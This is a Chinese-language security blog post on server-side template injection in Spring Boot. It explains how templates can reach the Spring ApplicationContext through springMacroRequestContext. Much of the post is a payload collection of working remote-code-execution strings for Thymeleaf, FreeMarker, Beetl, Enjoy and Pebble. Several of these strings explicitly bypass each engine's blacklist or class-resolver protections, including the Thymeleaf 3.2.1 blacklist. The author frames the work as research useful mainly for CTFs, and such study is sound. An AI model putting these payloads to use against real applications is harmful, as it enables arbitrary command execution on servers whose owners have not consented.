前言

最近打比赛和看到的一些漏洞都有模板注入的影子,就现在来看SSTI相关的文章也有很多了,像一些热门的模板引擎thymeleaffreemarker 等相关的payload也已经有很多了,我就借最近看到的一些模板注入的payload来探索一下在spring框架中对于模板注入,有没有一些通用性和可用性较高的payload。

springboot中视图渲染流程

这里为了方便,以springboot为例,分析下其视图渲染的流程。

写一个简单的Controller来返回index.html的视图

我们在 return "index.html" 处打上断点调试,往前找到调用栈,直接锁定到核心控制器DispatcherServlet#doDispatch 方法处。

可以看到最后 return index.html 后最终在DispatcherServlet#doDispatch 中获取到的是一个 ModelAndView 对象

拿到mv之后才会进行后面的视图渲染,那么后续我们一路跟踪下这个 mv

我们进入到 doDispatch 方法最后的 processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException)

在这里进行了视图的渲染操作

render 方法还是在 DispatcherServlet 中,继续跟进看看

这是整个 render 方法

protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
	// Determine locale for request and apply it to the response.
	Locale locale =
			(this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale());
	response.setLocale(locale);

	View view;
	String viewName = mv.getViewName();
	if (viewName != null) {
		// We need to resolve the view name.
		view = resolveViewName(viewName, mv.getModelInternal(), locale, request);
		if (view == null) {
			throw new ServletException("Could not resolve view with name '" + mv.getViewName() +
					"' in servlet with name '" + getServletName() + "'");
		}
	}
	else {
		// No need to lookup: the ModelAndView object contains the actual View object.
		view = mv.getView();
		if (view == null) {
			throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a " +
					"View object in servlet with name '" + getServletName() + "'");
		}
	}

	// Delegate to the View object for rendering.
	if (logger.isTraceEnabled()) {
		logger.trace("Rendering view [" + view + "] ");
	}
	try {
		if (mv.getStatus() != null) {
			request.setAttribute(View.RESPONSE_STATUS_ATTRIBUTE, mv.getStatus());
			response.setStatus(mv.getStatus().value());
		}
		view.render(mv.getModelInternal(), request, response);
	}
	catch (Exception ex) {
		if (logger.isDebugEnabled()) {
			logger.debug("Error rendering view [" + view + "]", ex);
		}
		throw ex;
	}
}

​ 其中两个关键的点就是 view = resolveViewName(viewName, mv.getModelInternal(), locale, request);view.render(mv.getModelInternal(), request, response);

resolveViewName 方法用于在spring所管理的bean中取出一个合适的模板bean,之后调用该 viewrender 方法进行渲染,所以不同的模板引擎也就是在 view.render 中有所不同,前面的步骤大致都是一样的。mv.getModelInternal() 获取到的是一个map,其中就是存放着用户向模板上下文中添加的属性。

这里先看下springmvc是如何选择模板引擎的

resolveViewName方法中遍历所有的 viewResolvers 进行选择

后续如何选择最合适的模板就不展开说了。

而对于核心控制器 DispatcherServlet 中的 viewResolvers 是怎么来的,这就要看 DispatcherServlet 的初始化操作了。

这里以 thymeleaf 模板引擎为例

org.springframework.web.servlet.DispatcherServlet#initViewResolvers 中初始化时会在当前IOC容器中寻找实现了 ViewResolver 接口的bean

thyymeleaforg.springframework.boot.autoconfigure.thymeleaf.ThymeleafAutoConfiguration.ThymeleafWebMvcConfiguration.ThymeleafViewResolverConfiguration 添加了 @Bean 注解,会自动将ThymeleafViewResolver注入到 spring 的 IOC容器中

这也就是为什么springboot配置 thymeleaf 模板这么方便的原因了。

那么对于其他的模板引擎也基本上是一样的,在springboot下将自己注入到IOC容器中就算是配置完成了。

关于springMacroRequestContext

介绍

springMacroRequestContext 是模板模型中 org.springframework.web.servlet.support.RequestContext 实例的属性名称,这个类中有个 webApplicationContext 属性

有对应得 getter 方法去获取,而这个 webApplicationContext 正是spring中的应用程序上下文,其就是我们启动springboot程序 SpringApplication.run(DemoThyApplication.class, args); 的返回值

所以一般在模板引擎中我们利用 springMacroRequestContext.webApplicationContext 就能获取到spring的应用程序上下文。那么有了 ApplicationContext 这个实例,我们基本上就有了整个IOC容器的控制权,我们完全可以在模板沙箱中利用应用程序上下文来达成各种操作。

这里分析下不同模板引擎其 springMacroRequestContext 属性的注入流程

thymeleaf

目前最新版的thymeleaf中,在 org.thymeleaf.spring6.view.ThymeleafView 这个类中

其相关属性及值其实最后是存储在 HttpServletRequest 中的attributes

最后取值自然也是从 httpServletRequest.getAttribute(name) 中获取

所以可以在模板中通过

[[${springMacroRequestContext.webApplicationContext}]]

[[${springRequestContext.webApplicationContext}]]

来获取ApplicationContext

注意,在我目前写文章的时期的最新版thymeleaf 3.2.1版本中 springMacroRequestContext 获取到的 RequestContext 被拉进了黑名单

但前面分析过,我们取值是从 httpServletRequest.getAttribute(name) 中获取的,其中的 org.springframework.web.servlet.DispatcherServlet.CONTEXT 属性正好就是我们想要的 ApplicationContext

所以在3.2.1版本中我们可以这样直接获取

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT']}]]

freemarker

我们继续进入到 org.springframework.web.servlet.View#render 方法的 view.render(mv.getModelInternal(), request, response)

之后在其 org.springframework.web.servlet.view.AbstractView#renderMergedOutputModel 方法

可以看到,同样添加了 springMacroRequestContext

所以直接访问即可

${springMacroRequestContext.webApplicationContext}

velocity

目前大多数spring已不支持velocity的自动配置,且其payload构造也比较简单,也没什么黑名单什么的,本文就不展开说了。

beetl

beetl是一款国产高速模板引擎

文档:https://www.kancloud.cn/xiandafu/beetl3_guide/1992542

其后面的添加 springMacroRequestContext 流程和freemarker一样

后面beetl会将model参数传给 modifyTemplate 方法处理

之后会绑定到beetl的全局上下文中

取值 RequestContext

使用下面的payload获取 ApplicationContext

${springMacroRequestContext.webApplicationContext}

Enjoy

Enjoy 是基于 Java 语言的极度轻量级模板引擎,文档:https://jfinal.com/doc/6-1

看看他的 springMacroRequestContext 是怎么搞得

和前面的一样,还是在其父类 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 中进行添加,不过多赘述了

#(springMacroRequestContext.webApplicationContext)

pebble

和前面分析的都一样的

{{springMacroRequestContext.webApplicationContext}}

另外发现 pebble 还将当前应用程序上下文作为变量beans加进去了

所以也可以这样访问到ApplicationContext中的bean

{{beans.get("beanName")}}

例如获取 jacksonObjectMapper 这个bean

{{beans.get("jacksonObjectMapper")}}

利用ApplicationContext寻找payload

前面说过,我们完全可以在模板中通过 springMacroRequestContext.webApplicationContext 来获取到spring应用程序上下文(ApplicationContext),利用它或者是操控其中的bean我们就可以完成一系列操作。

加载任意类

对于ApplicationContext,我们能拿到什么,其有这些方法 getClassLoader()getBean(String beanName) 等,我们可以拿到ClassLoader去加载任意类

对于获取ClassLoader,有些模板引擎会直接将 Class 对象拉进黑名单,所以利用ApplicationContext对象获取ClassLoader是最简单的方法了,另外有些模板引擎也会将 getClassLoader 方法拉进黑名单,但一般模板引擎访问对象中的属性其实会默认调用其 getter 方法的,如获取ApplicationContext的ClassLoader我们可以在模板中这样写 springMacroRequestContext.webApplicationContext.classLoader ,这其实就是调用其 getClassLoader() 方法获取的

比如在 enjoy模板引擎getClassLoader 被拉进了黑名单

我们使用 #(springMacroRequestContext.webApplicationContext.getClassLoader()) 发现报错

但使用 #(springMacroRequestContext.webApplicationContext.classLoader) 发现可以正常获取到

创建任意对象

springboot下我们可以获取其 BeanFactory,然后调用其 createBean 方法来创建对象

比如这里我们仅仅利用拿到的ApplicationContext就完成了对 org.springframework.expression.spel.standard.SpelExpressionParser 的实例化,后续调用其 parseExpression 方法执行一个SpEL表达式即可RCE

以thymeleaf3.1.1为例,可以这样RCE,其他模板引擎也差不多

[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

总之我们仅利用 springMacroRequestContext.webApplicationContext 就能完成对任意类的实例化操作,对于实例化什么那就看自己需要了

其内置的一些bean

利用获取到的ApplicationContext我们还可以使用其 getBean(String beanName) 方法来获取某些bean来达成某些操作

如利用内置的 org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory 这个bean,访问其 resourceLoader.classLoader 来获取类加载器。或是利用 jacksonObjectMapper 这个bean,调用其 readValue('{}', clazz) 方法来实例化对象。网上的文章有很多,这里就不一一分析了。

payload汇总

下面的payload在笔者写文章的时候都是在其最新版本可用的

thymeleaf

下面的payload基本都是换汤不换药

< v3.2.1 版本

payload:

[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(''.getClass.forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${springMacroRequestContext.webApplicationContext.getBean('jacksonObjectMapper').readValue("{}",springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

排列组合下一大堆

v3.2.1 版本(这个版本黑名单添加了一大堆, RequestContext 被拉进了黑名单,但还是存在绕过方法)

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].beanFactory.createBean(#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

其他

[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",''.getClass().forName('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]
[[${#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].getBean('jacksonObjectMapper').readValue("{}",#ctx['org.springframework.web.servlet.DispatcherServlet.CONTEXT'].classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}]]

freemarker

freemarker相关SSTI的payload最简单的可能就是

${"freemarker.template.utility.Execute"?new()("calc")}

2.3.17 版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

(设置不能解析任何类)

下面的payload可以在其设置了 ALLOWS_NOTHING_RESOLVER 之后依然可以RCE,其原理就是利用 springMacroRequestContext.webApplicationContext 来获取到 freeMarkerConfiguration 这个bean,从而修改其安全配置来达到绕过的效果

(v2.3.32)

${springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').setNewBuiltinClassResolver(springMacroRequestContext.webApplicationContext.getBean('freeMarkerConfiguration').getDefaultConfiguration().getNewBuiltinClassResolver())}
${"freemarker.template.utility.Execute"?new()("calc")}

beetl

其默认的安全策略如下 (3.15.14版本)

显然很容易绕过,方法有很多了

例如

${ @java.beans.Beans.instantiate(null,"org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()").getValue()}

下面是是用 springMacroRequestContext.webApplicationContext ,不用静态方法去实现RCE

payload:

<%
var beanFactory = springMacroRequestContext.webApplicationContext.beanFactory;
var cl = springMacroRequestContext.webApplicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@beanFactory.createBean(clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

其他

<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cachingMetadataReaderFactory = @applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory');
var cl = cachingMetadataReaderFactory.resourceLoader.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>
<%
var applicationContext = springMacroRequestContext.webApplicationContext;
var cl = applicationContext.classLoader;
var clazz = @cl.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser");
@applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();
%>

方法很多了,不一一列举了

当然也可以结合其内置方法或其它静态方法去实现,方法很多,其他的就师傅们自己探索了,官方文档:https://www.kancloud.cn/xiandafu/beetl3_guide

Enjoy

enjoy有自己的黑名单,其限制

在jdk17下我们可以使用jshell来rce

payload

#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

其他模板引擎像 thymeleaf这种默认是可以调用java静态方法的,但参考enjoy模板引擎官方文档可以发现自 jfinal 5.0.2 开始其默认是不开启静态属性访问和静态方法调用的 https://jfinal.com/doc/6-3

那我们完全可以使用 springMacroRequestContext.webApplicationContext 来获取 jfinalViewResolver 这个bean来修改其配置,使其支持静态方法访问和调用

因为渲染执行顺序问题,先对所有的调用进行检查之后才执行,所以开启静态方法执行和调用jshell的payload要分开打

开启静态方法执行

#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))

之后用jshell执行命令(jdk>=17)

#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec(new String("calc"));'))

当然,我们也可以使用下面的payload,还是利用ApplicationContext来绕过限制,这个是没有调用静态方法实现

payload:

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#(applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

其他

#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(cachingMetadataReaderFactory = applicationContext.getBean('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory'))
#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())
#set(applicationContext = springMacroRequestContext.webApplicationContext)
#set(clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser"))
#(applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue())

pebble

黑名单限制如下

还是用同样的方法也能绕

payload:

{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{{applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

其他

{% set applicationContext = springMacroRequestContext.webApplicationContext %}
{% set clazz = applicationContext.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{applicationContext.getBean("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

利用其内置的 beans 属性进行替换也是可以的

{% set cachingMetadataReaderFactory = beans.get('org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory') %}
{% set clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser") %}
{{beans.get("jacksonObjectMapper").readValue("{}", clazz).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()}}

总结

感觉比较万能的payload还是利用 beanFactory中的createBean方法和获取的ClassLoader来实例化 org.springframework.expression.spel.standard.SpelExpressionParser 去执行SpEl表达式RCE,这些都是spring默认自带的

我们利用 context = springMacroRequestContext.webApplicationContext 获取到应用程序上下文后,只需要执行下面的表达式就能够RCE

context.beanFactory.createBean(context.classLoader.loadClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

局限性

当然,局限性也是比较大的,主要是本文所用的方法都是利用spring中的应用程序上下文(ApplicationContext),或利用其中的bean来完成各种操作,所以脱离了spring,或者是没有作为spring的渲染视图,就没有办法利用。在实战中的用处也不是很大,需要我们上传恶意模板去作为视图渲染才行,像一般传个字符串去渲染SSTI是没法获取到ApplicationContext的。也就在CTF中可能会有点用?

参考文章

https://mp.weixin.qq.com/s/Dt0H4a8J4o6KC-H32ExGIA

https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/

https://github.com/Y4tacker/Web-Security/issues/3